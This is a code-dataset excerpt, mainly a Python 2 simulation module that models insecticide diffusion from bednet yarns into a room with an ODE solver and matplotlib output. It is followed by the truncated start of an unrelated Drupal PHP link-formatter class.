self.timesteps = int((self.time_period*(1.+self.delta_t*1e-6)) // self.delta_t)
#set correct delta_t
self.delta_t = self.time_period / self.timesteps
if self.verbose:
print ("Timestep used in bednet model:", self.delta_t)
self.initconc = eval(self.cfg.get('initial.init_conc'))
self.dx = self.cfg.get('domain.dx')
self.dy = self.cfg.get('domain.dy')
#size room in mm
self.room_L = self.cfg.get("domain.room_L") * 1000
self.room_W = self.cfg.get("domain.room_W") * 1000
self.room_H = self.cfg.get("domain.room_H") * 1000
self.nvertyarns = self.room_W/self.dx
self.nhoryarns = self.room_H/self.dy
self.diff_coef = self.cfg.get('diffusion.diff_coef')
self.saturation_conc = self.cfg.get('active_component.saturation_conc')
self.treshold = self.cfg.get('active_component.treshold_effect')
self.x0 = self.cfg.get('observer.x0')
#define whether there is the ventilation existing
self.ventilation = self.cfg.get('domain.ventilation')
self.vel_ventilation = self.cfg.get('domain.vel_ventilation')
#we set a distance for the yarn bc
EXTFRAC = 1.
self.cfg_yarn = []
self.radius_yarn = []
for filename in self.cfg.get('sample.yarn_config'):
if not os.path.isabs(filename):
filename = os.path.normpath(os.path.join(
os.path.dirname(self.cfg.filename), filename))
self.cfg_yarn.append(YarnConfigManager.get_instance(filename))
#set values from the yarn on this inifile
print ('time', self.time_period)
self.cfg_yarn[-1].set("time.time_period", self.time_period)
self.cfg_yarn[-1].set("boundary.dist_conc_out", float(self.x0[0]))
self.cfg_yarn[-1].set("boundary.D_out", self.diff_coef)
self.cfg_yarn[-1].set("boundary.conc_out",
float(self.initconc(self.cfg_yarn[-1].get("domain.yarnradius"))))
self.cfg_yarn[-1].set("domain.useextension", True)
## How much overlap region? Take one yarn radius for now
self.cfg_yarn[-1].set("domain.extensionfraction", EXTFRAC)
self.radius_yarn.append(self.cfg_yarn[-1].get("domain.yarnradius"))
assert self.radius_yarn[-1] == self.radius_yarn[0], 'ERROR, yarns'\
' must have equal radius for now, as massperyarn is equally '\
'distributed over the yarns'
#we want the overlap zone of the yarns to end at 2* maximum radius:
self.maxyarnrad = max(self.radius_yarn)
self.minyarnrad = min(self.radius_yarn)
voloverlapyarn = (np.pi*((self.maxyarnrad * (1 + EXTFRAC))**2 -
(self.maxyarnrad**2)) * (self.nhoryarns
* self.room_W + self.nvertyarns
* self.room_H)
)
#self.endoverlap = self.maxyarnrad * (1 + EXTFRAC)
if self.singleside:
self.endoverlap = self.minyarnrad + voloverlapyarn / self.room_W / self.room_H
else:
self.endoverlap = self.minyarnrad + voloverlapyarn / self.room_W / self.room_H / 2
for config, rad in zip(self.cfg_yarn, self.radius_yarn):
config.set("domain.extensionfraction", EXTFRAC)
#create yarn models
self.yarn_models = []
for cfg in self.cfg_yarn:
self.yarn_models.append(Yarn1DModel(cfg))
self.nr_models = len(self.yarn_models)
#some memory
self.source_mass = np.empty(self.nr_models, float)
#self.mass_build = [0.,]
#plot the result every few seconds so outcome becomes visible during calculations
self.plotevery = self.cfg.get("plot.plotevery")
self.viewerwritecount = 0
self.writeevery = self.cfg.get("plot.writeevery")
#now some output on density
self.volbednet = 0.
self.surfbednet = self.room_H * self.room_W
for rad in self.radius_yarn:
print ('vert vol yarns', self.nvertyarns * pi * rad**2 * self.room_H, 'mm3')
print ('horz vol yarns', self.nhoryarns * pi * rad**2 * self.room_W, 'mm3')
self.volbednet += self.nvertyarns * pi * rad**2 * self.room_H
self.volbednet += self.nhoryarns * pi * rad**2 * self.room_W
print ('volume_bednet space =', (2 * self.maxyarnrad * self.room_H
* self.room_W))
# The total volume of the bednet incl void space is the area of the
# net * the tickness of the net.
# This thickness is taken to be twice a yarndiameter.
self.totalvolume_net = self.room_H * self.room_W * 4 * self.maxyarnrad
self.voidvolume = self.totalvolume_net - self.volbednet
self.densitybednet = self.volbednet / (2 * self.maxyarnrad * self.room_H
* self.room_W)
self.fabporosity = self.voidvolume / self.totalvolume_net
self.initialized = False
self.yarnconc_center = np.empty((self.timesteps, 2),float)
self.yarnconc_surface = np.empty((self.timesteps, 2),float)
def times(self, timestep, end=None):
""" Compute the time at one of our steps
If end is given, all times between step timestep and step end are
returned as a list, with end included
"""
if end is None:
return timestep * self.delta_t
else:
begin = timestep * self.delta_t
end = end * self.delta_t
return np.linspace(begin, end, end-begin + 1)
def create_mesh(self):
""" create a mesh for the room model
"""
self.begin_point = self.minyarnrad
self.end_point = self.room_L / 2
self.nr_edge = self.cfg.get('domain.n_edge')
self.nr_cell = self.nr_edge - 1
self.grid_edge = np.empty(self.nr_edge, float)
self.grid_edge[0] = self.begin_point
self.grid_edge[1:] = np.linspace(self.endoverlap, self.end_point,
self.nr_edge-1)
if self.singleside:
self.overlapvolume = (self.endoverlap - self.begin_point) \
* self.room_H * self.room_W
else:
self.overlapvolume = (self.endoverlap - self.begin_point) \
* self.room_H * self.room_W * 2
#construct cell centers from this
self.grid = (self.grid_edge[:-1] + self.grid_edge[1:])/2.
#obtain cell sizes
self.delta_x = self.grid_edge[1:] - self.grid_edge[:-1]
self.plotdata = []
for xplot in self.x0:
assert self.grid[0] < xplot < self.grid[-1], "%f < %f < %f "\
"Not satisfied, observer out of domain" % (self.grid[0],
xplot, self.grid[-1])
for ind, xcell in enumerate(self.grid):
if xcell >= xplot:
interpol_start = (xcell-xplot)/(self.grid[ind]-self.grid[ind-1])
self.plotdata.append((ind-1, interpol_start))
break
def upscale_yarnmass(self, mass):
"""
Upscale the mass in one yarn, to the mass in the entire bednet,
returns the mass
"""
return (self.nhoryarns * self.room_W + self.nvertyarns * self.room_H) * mass
def calc_mass(self):
"""
Calculate the mass in the room and the bednet of Active Component
at this specific state the model is in.
"""
#First, the mass in the yarns
yarnmass = [None] * len(self.yarn_models)
fiberconc_sta = [None] * len(self.yarn_models)
fiberconc_mid = [None] * len(self.yarn_models)
fiberconc_end = [None] * len(self.yarn_models)
yarnmassoverlap = [None] * len(self.yarn_models)
for ttype, model in enumerate(self.yarn_models):
yarnmass[ttype] = model.calc_mass(model.step_old_sol)
yarnmassoverlap[ttype] = model.calc_mass_overlap(model.step_old_sol)
fiberconc_sta[ttype], fiberconc_mid[ttype], fiberconc_end[ttype] = model.get_fiber_conc()
#Next, the upscaled mass in the yarns
totyarnmass = [None] * len(self.yarn_models)
totyarnmassoverlap = [None] * len(self.yarn_models)
for ttype, (massy, massyo) in enumerate(zip(yarnmass, yarnmassoverlap)):
totyarnmass[ttype] = self.upscale_yarnmass(massy)
totyarnmassoverlap[ttype] = self.upscale_yarnmass(massyo)
#Next, the mass in the room, divided in overlapzone and rest.
if self.singleside:
roomoverlapmass = self.overlapvolume * self.step_old_sol[0]
roommass = np.sum(self.delta_x[1:] * self.room_H * self.room_W * self.step_old_sol[1:])
else:
# factor 2 because we only model half of the room
roomoverlapmass = self.overlapvolume * self.step_old_sol[0]
roommass = 2*np.sum(self.delta_x[1:] * self.room_H * self.room_W * self.step_old_sol[1:])
return (yarnmass, yarnmassoverlap, totyarnmass, totyarnmassoverlap,
roommass, roomoverlapmass, fiberconc_sta, fiberconc_mid, fiberconc_end)
def initial_room(self):
""" initial concentration in the room domain
"""
self.init_conc = np.empty(self.nr_cell, float)
self.init_conc[:] = self.initconc(self.grid[:])
def init_yarn(self):
self.yarn_mass = [0] * len(self.yarn_models)
self.yarn_mass_overlap = [0] * len(self.yarn_models)
self.yarn_mass_overlap_old = [0] * len(self.yarn_models)
self.tstep = 0
for ind, model in enumerate(self.yarn_models):
model.do_yarn_init()
if model.bound_type != 0 :
print (' ***********************************************')
print (' ****** WARNING: Boundary condition not diffusion flux,'\
'\n so yarn does not consider the fabric !!')
print (' ***********************************************')
self.yarn_mass[ind] = model.calc_mass(model.init_conc)
self.yarn_mass_overlap[ind] = model.calc_mass_overlap(model.init_conc)
# no mass released at start time
self.source_mass[ind] = 0.
#self.fibermass = model.get_fiber_mass()
#print(self.fibermass)
def f_conc_ode(self, t, conc_x, diff_u_t):
"""
Solving the room 1D diffusion equation:
\partial_t (C) = \partial_x (D \partial_x C) + Source
with Source the concentration amount per time unit added/removed at x.
Solution is obtained by integration over a cell, so
\delta x d_t (C) = flux_right - flux_left + Source (\delta x)
so
d_t C = 1 / (\delta x) * (flux_right - flux_left) + Source
We have homogeneous Neumann BC
"""
grid = self.grid
n_cellcenters = len(grid)
#Initialize the flux rate on the edges
flux_edge = self.__tmp_flux_edge
#set flux on edge 0, self.nr_edge-1
flux_edge[0] = 0.
flux_edge[-1] = 0.
#calculate flux rate in each edge of the domain
flux_edge[1:self.nr_edge-1] = (2 * self.diff_coef *
(conc_x[1:]-conc_x[:-1]) / (self.delta_x[:-1]+self.delta_x[1:])
)
if self.ventilation == 'advection':
raise NotImplementedError, 'This piece needs testing before use!' # needs testing before activating this!
flux_edge[-1] = - self.vel_ventilation * conc_x[-1] * self.delta_t
flux_edge[1:self.nr_edge-1] += - 2 * self.vel_ventilation \
* (conc_x[1:] + conc_x[:-1]) / 2.
elif self.ventilation == "zero_on_edge":
#we assume always 0 outside the edge, this means outside is refreshed
flux_edge[self.nr_edge-1] = (self.diff_coef *
(0-conc_x[-1]) / self.delta_x[-1] )
##print ('flux edge room', flux_edge[self.nr_edge-1])
diff_u_t[:] = ((flux_edge[1:]-flux_edge[:-1])
/ self.delta_x[:]
)
## we add a source term in the first cell where the overlap is
diff_u_t[0] += self.source_room_from_yarn
## def f_conc_ode_vel(self, t, conc_x, diff_u_t, vel_ventilation):
## """
## Solving the room 1D diffusion equation:
##
## \partial_t (C) = \partial_x (D \partial_x C) - v\partial_x C + Source
##
## with Source the concentration amount per time unit added/removed at x.
## Solution is obtained by integration over a cell, so
##
## \delta x d_t (C) = flux_right - flux_left + Source (\delta x)
##
## so
##
## d_t C = 1 / (\delta x) * (flux_right - flux_left) + Source
##
## We have homogeneous Neumann BC
## """
## grid = self.grid
## n_cellcenter = len(grid)
## flux_edge = self.__tmp_flux_edge
## #set flux on edge 0, self.nr_edge-1
## flux_edge[0] = 0.
## flux_edge[-1] = -vel_ventilation * conc_x[-1]
## #flux_edge[-1] = 0.
## #calculate flux rate in each edge of the domain
## flux_edge[1:self.nr_edge-1] = (2 * self.diff_coef *
## (conc_x[1:]-conc_x[:-1]) / (self.delta_x[:-1]+self.delta_x[1:])
## ) - vel_ventilation * (conc_x[1:] + conc_x[:-1]) / (self.delta_x[:-1]
## +self.delta_x[1:])
## diff_u_t[:] = ((flux_edge[1:]-flux_edge[:-1])
## / self.delta_x[:]
## )
## ## we add a source term in the first cell where the overlap is
## diff_u_t[0] += self.source_room_from_yarn
def solve_ode_init(self):
"""
Initialize the ode solver
"""
self.initial_t = self.times(0)
self.step_old_time = self.initial_t
#storage for solution
self.solstoreind = 0
if self.timesteps+1 > MAX_STORE_LENGTH:
self.solpart = np.empty((MAX_STORE_LENGTH, self.nr_cell), float)
else:
self.sol = np.empty((self.timesteps+1, self.nr_cell), float)
self.solpart = self.sol
self.solpart[0, :] = self.init_conc[:]
self.ret_y = np.empty(self.nr_cell, float)
self.__tmp_flux_edge = np.zeros(self.nr_cell+1, float)
self.tstep = 0
self.step_old_sol = self.solpart[0]
self.solver = sc_ode('cvode', self.f_conc_ode,
min_step_size=1e-8, rtol=1e-6, atol=1e-6,
max_steps=50000, lband=1, uband=1)
print (self.step_old_time)
self.solver.init_step(self.step_old_time, self.init_conc)
self.initialized = True
def do_ode_step(self, stoptime):
"""Solve the roommodel up to stoptime, continuing from the present
state, return the time, concentration after step
"""
self.solver.init_step(self.step_old_time, self.step_old_sol)
self.solver.set_options(tstop=stoptime)
if not self.initialized:
raise Exception, 'Solver ode not initialized'
flag, realtime = self.solver.step(stoptime, self.ret_y)
if flag < 0:
raise Exception, 'could not find solution, flag %d' % flag
assert np.allclose(realtime, stoptime), "%f %f" % (realtime, stoptime)
return stoptime, self.ret_y
def solve_timestep(self, t):
print ("solve up to time", t, "s")
self.tstep += 1
# 1. step one, solve the yarn model, calculate the mass coming out of one yarn and calculate
# the corresponding concentration by dividing by the volume of a yarn pi Ry^2
for ttype, model in enumerate(self.yarn_models):
rt, rety = model.do_yarn_step(t)
self.yarnconc_center[self.tstep-1,0] = t
self.yarnconc_center[self.tstep-1,1] = rety[0]
self.yarnconc_surface[self.tstep-1,0] = t
self.yarnconc_surface[self.tstep-1,1] = rety[-1]
#filedata= open(utils.OUTPUTDIR + os.sep + "yarnconc_%05d" %t + ".txt",'w')
#filedata.write("conc on %.10f is %s" % (t,rety))
#filedata.close()
#filedata= open(utils.OUTPUTDIR + os.sep + "yarnconc_center%05d" %t + ".txt",'w')
#filedata.write("conc on %.10f is %s" % (t,rety[0]))
#filedata.close()
#filedata= open(utils.OUTPUTDIR + os.sep + "yarnconc_surface_%05d" %t + ".txt",'w')
#filedata.write("conc on %.10f is %s" % (t,rety[-1]))
#filedata.close()
tmp = model.calc_mass(rety)
tmp_overlap = model.calc_mass_overlap(rety)
# mass that goes into overlap is the mass that disappeared.
self.source_mass[ttype] = tmp_overlap \
- (self.yarn_mass_overlap[ttype] + model.source_overlap
* self.delta_t * model.areaextend)
self.yarn_mass[ttype] = tmp
self.yarn_mass_overlap_old[ttype] = self.yarn_mass_overlap[ttype]
self.yarn_mass_overlap[ttype] = tmp_overlap
if (ABSORPTION != True):
# we check on absorption, and give error if too big
if self.source_mass[ttype] < 0.:
print ("source mass", self.source_mass[ttype])
if abs(self.source_mass[ttype]) < 100:
#self.source_mass[ttype, self.tstep] = 0.
print ('WARNING: small negative release, reduce timestep fiber/yarn if needed')
else:
raise NotImplementedError, 'source must be positive, negative not supported'
# 2. step two, solve the room model
# to obtain new concentration value near yarn.
# We know that self.source_mass[ttype] has been released in the
# overlap region since last step
# 2.a upscale source_mass (mass in ring zone area) to a source per second per mm^3
# concentration is a consequence of all yarn types, so sum
# over yarn types, and compute contribution of that moment.
concreleased = (self.nhoryarns * self.room_W + self.nvertyarns * self.room_H) \
* np.sum(self.source_mass[:]) / self.overlapvolume
self.source_room_from_yarn = concreleased / self.delta_t
# 2.b solve the room model
self.step_old_time, self.step_old_sol = self.do_ode_step(t)
if self.tstep % MAX_STORE_LENGTH == 0 :
#dump to file, and restart
self.dump_sol(self.solstoreind)
self.solstoreind += 1
self.solpart[self.tstep % MAX_STORE_LENGTH, :] = self.step_old_sol[:]
# 3. for next timestep, we need to set correct boundary condition
# on the yarn level, so downscale the mass to keep mass balance
##massdiff = massoverlapnew - massoverlapold
massperyarn = (self.step_old_sol[0] * self.overlapvolume
/ (self.nhoryarns * self.room_W + self.nvertyarns * self.room_H)
/ len(self.cfg_yarn)
)
for ind, model in enumerate(self.yarn_models):
#the source mass is what was present in the overlap before doing room model
massyarnoverlapold = self.yarn_mass_overlap[ind]
#the new mass there we approximate from concentration
massyarnoverlapnew = massperyarn
massyarndiff = massyarnoverlapnew - massyarnoverlapold
#based on removed, we set a source term in the overlap zone of
# of the yarn
model.source_overlap = massyarndiff / self.delta_t / model.areaextend
#store masses
self.__store_masses(self.tstep)
def view_sol(self):
#maxv = np.max(self.sol)
#minv = np.min(self.sol)
#print 'max', maxv, minv
#self.plottimes = np.arange(self.times[0],self.times[-1]+1,self.plotevery)
plotextra = False
times = self.times(self.timesteps+1-((self.tstep - 1) % MAX_STORE_LENGTH+1),
self.timesteps)
sol = self.solpart[:(self.tstep - 1) % MAX_STORE_LENGTH+1]
extravals = self.cfg.get("plot.extra_time_room")
if extravals:
extravals = extravals.split("|")
if len(extravals) == 3 and not eval(extravals[1]) == []:
plotextra = True
plt.ion()
ind = 0
for ind, interpdat in enumerate(self.plotdata):
xval = self.x0[ind]
cellstart, interpval = interpdat
conc_in_point = interpval * sol[:, ind] + (1-interpval) * sol[:, ind+1]
print ('conc in end point', conc_in_point[-1])
plt.rc("font", family="serif")
plt.rc("font", size=10)
width = 4.5 #width in inches
height = 1.4 #height in inches
plt.rc("figure.subplot", left=(50/72.27)/width)
plt.rc("figure.subplot", right=(width-10/72.27)/width)
plt.rc("figure.subplot", bottom=(14/72.27)/height)
plt.rc("figure.subplot", top=(height-7/72.27)/height)
plt.figure(ind)
plt.gca().set_xlabel('Time [s]')
plt.gca().set_ylabel('Concentration [$\mu$g/mm$^3$]')
#plt.gca().yaxis.set_major_formatter(pylab.FormatStrFormatter('%e'))
plt.title('Concentration at position %g mm' % xval)
if plotextra:
plt.plot(eval(extravals[1]), eval(extravals[2]), extravals[0])
plt.plot(times, conc_in_point)
#plt.ylim(0, maxv*1.1)
plt.plot(times, np.ones(len(times)) * self.saturation_conc, 'k--')
plt.plot(times, np.ones(len(times)) * self.treshold, 'b--')
plt.show()
plt.savefig(utils.OUTPUTDIR + os.sep
+ 'AIconc_%03.1f_mm' % xval + const.FIGFILEEXT)
return ind
def plot_room_sol(self, ind):
print ('Generating fig of solution over the room domain')
self.viewerplotcount = 0
times = self.times(self.timesteps+1-((self.tstep - 1) % MAX_STORE_LENGTH+1),
self.timesteps)
sol = self.solpart[:(self.tstep - 1) % MAX_STORE_LENGTH+1]
minval = np.min(sol)
maxv = np.max(sol)
try:
maxval = np.power(10., int(math.log10(maxv))+1)
except ValueError:
maxval = minval + 10
plt.ion()
if self.plotevery:
for time, ssol in zip(times, sol):
if self.viewerplotcount == 0:
print ('plotting for time', time)
plt.rc("font", family="serif")
plt.rc("font", size=10)
width = 4.5 #width in inches
height = 1.4 #height in inches
plt.rc("figure.subplot", left=(50/72.27)/width)
plt.rc("figure.subplot", right=(width-10/72.27)/width)
plt.rc("figure.subplot", bottom=(14/72.27)/height)
plt.rc("figure.subplot", top=(height-7/72.27)/height)
fig = plt.figure(ind)
plt.gca().set_xlabel('Position [mm]')
plt.gca().set_ylabel('Concentration [$\mu$g/mm$^3$]')
plt.gca().set_ylim(minval, maxval)
#plt.gca().yaxis.set_major_formatter(pylab.FormatStrFormatter('%e'))
plt.title('Concentration in the room at t = %g s' % time)
plt.ioff()
lines = plt.plot(self.grid, ssol, 'r')
plt.draw()
try:
fig.canvas.flush_events()
except NotImplementedError:
pass
plt.ion()
plt.savefig(utils.OUTPUTDIR + os.sep
+ 'AIconc_%08.1f_sec' % time + const.FIGFILEEXT)
#remove the line again
lines.pop(0).remove()
self.viewerplotcount += 1
self.viewerplotcount = self.viewerplotcount % self.plotevery
else:
#plot last
time = times[-1]
ssol = sol[-1]
print ('plotting for time', time)
plt.rc("font", family="serif")
plt.rc("font", size=10)
width = 4.5 #width in inches
height = 1.4 #height in inches
plt.rc("figure.subplot", left=(50/72.27)/width)
plt.rc("figure.subplot", right=(width-10/72.27)/width)
plt.rc("figure.subplot", bottom=(14/72.27)/height)
plt.rc("figure.subplot", top=(height-7/72.27)/height)
fig = plt.figure(ind)
plt.gca().set_xlabel('Position [mm]')
plt.gca().set_ylabel('Concentration [$\mu$g/mm$^3$]')
plt.gca().set_ylim(minval, maxval)
#plt.gca().yaxis.set_major_formatter(pylab.FormatStrFormatter('%e'))
plt.title('Concentration in the room at t = %g s' % time)
plt.ioff()
lines = plt.plot(self.grid, ssol, 'r')
plt.draw()
try:
fig.canvas.flush_events()
except NotImplementedError:
pass
plt.ion()
plt.savefig(utils.OUTPUTDIR + os.sep
+ 'AIconc_%08.1f_sec' % time + const.FIGFILEEXT)
def view_sol_mass(self, ind):
"""
Plot the evolution of the mass at current state of the solution
"""
times = self.times(self.timesteps+1-((self.tstep - 1) % MAX_STORE_LENGTH+1),
self.timesteps)
fignr = ind
plt.ion()
for ind, ymass in enumerate(self.yarnmass):
plt.rc("font", family="serif")
plt.rc("font", size=10)
width = 4.5 #width in inches
height = 1.4 #height in inches
plt.rc("figure.subplot", left=(50/72.27)/width)
plt.rc("figure.subplot", right=(width-10/72.27)/width)
plt.rc("figure.subplot", bottom=(14/72.27)/height)
plt.rc("figure.subplot", top=(height-7/72.27)/height)
plt.figure(fignr)
plt.gca().set_xlabel('Time [s]')
plt.gca().set_ylabel('Mass [$\mu$g]')
plt.title('Mass AC in yarn type %d' % ind)
plt.plot(times, ymass[:(self.tstep-1) % MAX_STORE_LENGTH+1])
plt.savefig(utils.OUTPUTDIR + os.sep
+ 'AImass_yarn_%d' % ind + const.FIGFILEEXT)
fignr += 1
#now show evolution of fiber conc in center
plt.figure(fignr)
plt.gca().set_xlabel('Time [s]')
plt.gca().set_ylabel('Conc [$\mu$g/mm$^3$]')
plt.title('Conc center fiber in yarn type %d' % ind)
plt.plot(times, self.fconc_sta[ind][:(self.tstep-1) % MAX_STORE_LENGTH+1])
plt.savefig(utils.OUTPUTDIR + os.sep
+ 'AIconc_fibstart_%d' % ind + const.FIGFILEEXT)
fignr += 1
plt.figure(fignr)
plt.gca().set_xlabel('Time [s]')
plt.gca().set_ylabel('Conc [$\mu$g/mm$^3$]')
plt.title('Conc middle fiber in yarn type %d' % ind)
plt.plot(times, self.fconc_mid[ind][:(self.tstep-1) % MAX_STORE_LENGTH+1])
plt.savefig(utils.OUTPUTDIR + os.sep
+ 'AIconc_fibmid_%d' % ind + const.FIGFILEEXT)
fignr += 1
plt.figure(fignr)
plt.gca().set_xlabel('Time [s]')
plt.gca().set_ylabel('Conc [$\mu$g/mm$^3$]')
plt.title('Conc surface fiber in yarn type %d' % ind)
plt.plot(times, self.fconc_end[ind][:(self.tstep-1) % MAX_STORE_LENGTH+1])
plt.savefig(utils.OUTPUTDIR + os.sep
+ 'AIconc_fibend_%d' % ind + const.FIGFILEEXT)
fignr += 1
plt.figure(fignr)
plt.gca().set_xlabel('Time [s]')
plt.gca().set_ylabel('Mass [$\mu$g]')
plt.title('Mass AC in the bednet')
#plt.plot([0,],[28.935,], 'r*')
plt.plot(times, self.totyarnmass[:(self.tstep-1) % MAX_STORE_LENGTH+1])
plt.savefig(utils.OUTPUTDIR + os.sep
+ 'AImass_bednet' + const.FIGFILEEXT)
fignr += 1
plt.figure(fignr)
plt.gca().set_xlabel('Time [s]')
plt.gca().set_ylabel('Mass [$\mu$g]')
plt.title('Mass AC in the room')
plt.plot(times, self.totroommass[:(self.tstep-1) % MAX_STORE_LENGTH+1])
plt.savefig(utils.OUTPUTDIR + os.sep
+ 'AImass_in_room' + const.FIGFILEEXT)
fignr += 1
#plot to check mass conservation
plt.figure(fignr)
plt.gca().set_xlabel('Time [s]')
plt.gca().set_ylabel('Mass [$\mu$g]')
plt.title('Total Mass AC')
plt.plot(times, self.totroommass[:(self.tstep-1) % MAX_STORE_LENGTH+1] \
+ self.totyarnmass[:(self.tstep-1) % MAX_STORE_LENGTH+1])
plt.savefig(utils.OUTPUTDIR + os.sep
+ 'AImass_total' + const.FIGFILEEXT)
return fignr
def init_room(self):
#first we create the room mesh
self.create_mesh()
self.initial_room()
self.init_yarn()
if not self.initialized:
self.solve_ode_init()
#storage for mass values
self.yarnmass = [None] * len(self.yarn_models)
self.fconc_sta = [None] * len(self.yarn_models)
self.fconc_mid = [None] * len(self.yarn_models)
self.fconc_end = [None] * len(self.yarn_models)
for ind in range(len(self.yarn_models)):
self.yarnmass[ind] = np.empty(MAX_STORE_LENGTH, float)
self.fconc_sta[ind] = np.empty(MAX_STORE_LENGTH, float)
self.fconc_mid[ind] = np.empty(MAX_STORE_LENGTH, float)
self.fconc_end[ind] = np.empty(MAX_STORE_LENGTH, float)
self.totyarnmass = np.empty(MAX_STORE_LENGTH, float)
self.totroommass = np.empty(MAX_STORE_LENGTH, float)
#compute the initial masses
self.__store_masses(0)
def __store_masses(self, ind):
(yarnmass, yarnmassoverlap, totyarnmass, totyarnmassoverlap,
roommass, roomoverlapmass, fconc_sta, fconc_mid, fconc_end) \
= self.calc_mass()
#compute initial values
for mind, val in enumerate(yarnmass):
self.yarnmass[mind][ind%MAX_STORE_LENGTH] = val
self.fconc_sta[mind][ind%MAX_STORE_LENGTH] = fconc_sta[mind]
self.fconc_mid[mind][ind%MAX_STORE_LENGTH] = fconc_mid[mind]
self.fconc_end[mind][ind%MAX_STORE_LENGTH] = fconc_end[mind]
self.totyarnmass[ind%MAX_STORE_LENGTH] = np.sum(totyarnmass) #+ np.sum(totyarnmassoverlap)
self.totroommass[ind%MAX_STORE_LENGTH] = roommass + roomoverlapmass
def write_info(self):
"""
Write generic info on the bednet
"""
print ("\n\nINFO ON BEDNET")
print ("**************")
print ("volume bednet = %g m^3, which means calculated porosity"\
" %f mm^3 fabric/mm^3" \
% (self.volbednet/1e9, self.fabporosity))
print ("surface bednet = %g m^2, which means calculated surface"\
"mass %f gram/m^2" \
% (self.surfbednet/1e6, (self.totyarnmass[0]/1e6)/(self.surfbednet/1e6)))
print (" initial mass in bednet", self.totyarnmass[0]/1e6, "gram, room",\
self.totroommass[0]/1e6, "gram")
print (" number of yarns in fabric", "vertical", self.nvertyarns, \
"horizontal", self.nhoryarns)
print (" masses in the yarns ")
for mind, val in enumerate(self.yarn_mass):
print ("Yarn %d has initial mass AC %f" % (mind, val))
for ind, models in enumerate(self.yarn_models[mind].fiber_models):
print ('yarn cell', ind)
for type, model in enumerate(models):
print ("fibertype %d: fibermass %f ; " % (type,
self.yarn_models[mind].fiber_mass[ind, type]))
print (' ')
print ("Blend in yarn is", self.yarn_models[mind].blend)
print ("**************\n\n")
#raw_input("Press key to start")
def dump_sol(self, index):
""" Dump solpart to file with extension index """
times = self.times(index*MAX_STORE_LENGTH, self.tstep-1)
timestxt = self.times(index*MAX_PLOT_LENGTH,self.tstep-1)
newyarnmass = [0] * len(self.yarnmass)
newfconc_sta = [0] * len(self.fconc_sta)
newfconc_mid = [0] * len(self.fconc_mid)
newfconc_end = [0] * len(self.fconc_end)
nr = len(times)
for ind in range(len(self.yarnmass)):
newyarnmass[ind] = self.yarnmass[ind][:nr]
newfconc_sta[ind] = self.fconc_sta[ind][:nr]
newfconc_mid[ind] = self.fconc_mid[ind][:nr]
newfconc_end[ind] = self.fconc_end[ind][:nr]
np.savez(utils.OUTPUTDIR + os.sep + 'bednetroom1d_solpart_%05d.npz' % index,
times=times,
sol = self.solpart[:len(times)],
tresh_sat = [self.saturation_conc, self.treshold],
grid_cellcenters = self.grid,
yarnmass = newyarnmass,
totyarnmass = self.totyarnmass[:len(times)],
totroommass = self.totroommass[:len(times)],
fconc_sta = newfconc_sta,
fconc_mid = newfconc_mid,
fconc_end = newfconc_end
)
#roomconc over time to textfile
filedata= open(utils.OUTPUTDIR + os.sep + "roomconc" + ".txt",'w')
filedata.write("conc in the room is %s" %(self.solpart[:len(timestxt)]) )
filedata.close()
#roomconc at the outermost left position over time to textfile
self.roomconcleft = np.empty((len(timestxt),2),float)
self.roomconcleft[:,0] = timestxt
self.roomconcleft[:,1] = self.solpart[:len(timestxt),0]
self.roomconcmiddle = np.empty((len(timestxt),2),float)
self.roomconcmiddle[:,0] = timestxt
self.roomconcmiddle[:,1] = self.solpart[:len(timestxt),int(self.nr_cell/2)]
self.roomconcright = np.empty((len(timestxt),2),float)
self.roomconcright[:,0] = timestxt
self.roomconcright[:,1] = self.solpart[:len(timestxt),-1]
filedata= open(utils.OUTPUTDIR + os.sep + "roomconcLEFT" + ".txt",'w')
for i in range(0,len(self.roomconcleft)):
filedata.write("%.5f %.5f\n" % (self.roomconcleft[i,0],self.roomconcleft[i,1]))
#filedata.write("conc at outermost LEFT in the room is %s" %(self.solpart[:len(times),0]) )
filedata.close()
#roomconc at the middle of the room over time to textfile
filedata= open(utils.OUTPUTDIR + os.sep + "roomconcMIDDLE" + ".txt",'w')
for i in range(0,len(self.roomconcmiddle)):
filedata.write("%.5f %.5f\n" % (self.roomconcmiddle[i,0],self.roomconcmiddle[i,1]))
#filedata.write("conc at outermost LEFT in the room is %s" %(self.solpart[:len(times),0]) )
filedata.close()
#roomconc at the outermost right position over time to textfile
filedata= open(utils.OUTPUTDIR + os.sep + "roomconcRIGHT" + ".txt",'w')
for i in range(0,len(self.roomconcright)):
filedata.write("%.5f %.5f\n" % (self.roomconcright[i,0],self.roomconcright[i,1]))
filedata.close()
def run(self, wait=False):
self.init_room()
self.write_info()
t = self.times(self.tstep+1)
while t <= self.time_period+self.delta_t/10:
self.solve_timestep(t)
t = self.times(self.tstep+1)
#we set tstep one after last value
self.tstep += 1
if INSPECT_MEM:
import gc
notr =gc.collect()
print ('unreachable objects:')
print (notr)
notr =gc.collect()
print ('unreachable objects:')
print (notr)
raw_input('press key')
print ("Remaining Garbage")
print (gc.garbage)
raw_input('press key')
#save solution to output file
self.dump_sol(self.solstoreind)
filedata= open(utils.OUTPUTDIR + os.sep + "yarnconccenter" + ".txt",'w')
for i in range(len(self.yarnconc_center)):
filedata.write("%.8f %.8f\n" % (self.yarnconc_center[i,0],self.yarnconc_center[i,1]))
filedata.close()
filedata= open(utils.OUTPUTDIR + os.sep + "yarnconcsurface" + ".txt",'w')
for i in range(len(self.yarnconc_surface)):
filedata.write("%.8f %.8f\n" % (self.yarnconc_surface[i,0],self.yarnconc_surface[i,1]))
filedata.close()
fignr = self.view_sol()
fignr = self.view_sol_mass(fignr+1)
self.plot_room_sol(fignr+1)
for ymod in self.yarn_models:
ymod.view_sol([ymod.step_old_time], [ymod.step_old_sol])
for ind_cell, models in enumerate(ymod.fiber_models):
for ftype, model in enumerate(models):
model.view_last_sol(" cell %d, type %d" % (ind_cell, ftype))
break
if wait:
raw_input("Finished bednet run") | bmcage/stickproject | stick/bednet/room1dmodel.py | Python | gpl-2.0 | 41,045 |
<?php
/**
* @file
* Contains \Drupal\Core\Field\Plugin\Field\FieldFormatter\UriLinkFormatter.
*/
namespace Drupal\Core\Field\Plugin\Field\FieldFormatter;
use Drupal\Core\Field\FieldItemListInterface;
use Drupal\Core\Field\FormatterBase;
use Drupal\Core\Url;
/**
* Plugin implementation of the 'uri_link' formatter.
*
* @FieldFormatter(
* id = "uri_link",
* label = @Translation("Link to URI"),
* field_types = {
* "uri",
* }
* )
*/
class UriLinkFormatter extends FormatterBase {
/**
* {@inheritdoc}
*/
